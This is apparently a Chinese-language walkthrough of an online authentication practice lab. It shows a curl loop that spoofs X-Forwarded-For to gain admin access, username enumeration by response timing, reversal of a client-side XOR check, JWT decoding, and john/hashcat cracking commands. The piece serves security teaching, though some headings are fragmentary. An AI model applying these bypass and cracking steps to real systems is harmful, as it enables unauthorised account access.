认证实验室包含一系列与认证/授权相关的挑战,所有案例均源自真实渗透测试经验或由其他测试人员提供。
您可以通过在线实验室直接体验最新挑战,或从GitHub获取Golang编写的源码自行搭建环境。
漏洞原理
开发者为实现免登录,通过校验请求源IP进行自动认证,但错误地信任了X-Forwarded-For
头部。攻击者只需伪造该头部即可获得管理员权限。
利用过程
for ip in {1..255}
do
curl https://authlab.digi.ninja/Bypass -H "X-Forwarded-For: 192.168.0.$ip" -o $ip.out
done
通过分析响应差异,发现192.168.0.14
为特权IP。
漏洞特征
系统对有效用户名的响应时间显著长于无效用户名,通过Burp Intruder检测响应时间差异可枚举有效用户。
关键步骤
漏洞分析
认证逻辑完全在JavaScript中实现,采用XOR运算验证凭证:
function login(){
var creds = username + ":" + password;
var encrypted = xorString(creds, secret);
if(encrypted == expected) {
// 认证成功
}
}
利用方法
在控制台逆向XOR运算获取明文凭证:
xorString(encrypted, secret) // 返回"admin:secr3tpass"
漏洞复现
解码示例JWT获得敏感信息:
echo "eyJhbGci...9InNpZCJ9" | base64 -d
返回结果包含管理员凭证:
{
"level": "admin",
"password": "2ac9cb7dc02b3c0083eb70898e549b63", // MD5哈希值
"username": "joe"
}
漏洞利用链
level
为admin
攻击步骤
None
破解方法
使用John或Hashcat配合字典攻击:
john --wordlist=rockyou.txt token.jwt
hashcat -m 16500 token.jwt rockyou.txt
多级难度
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。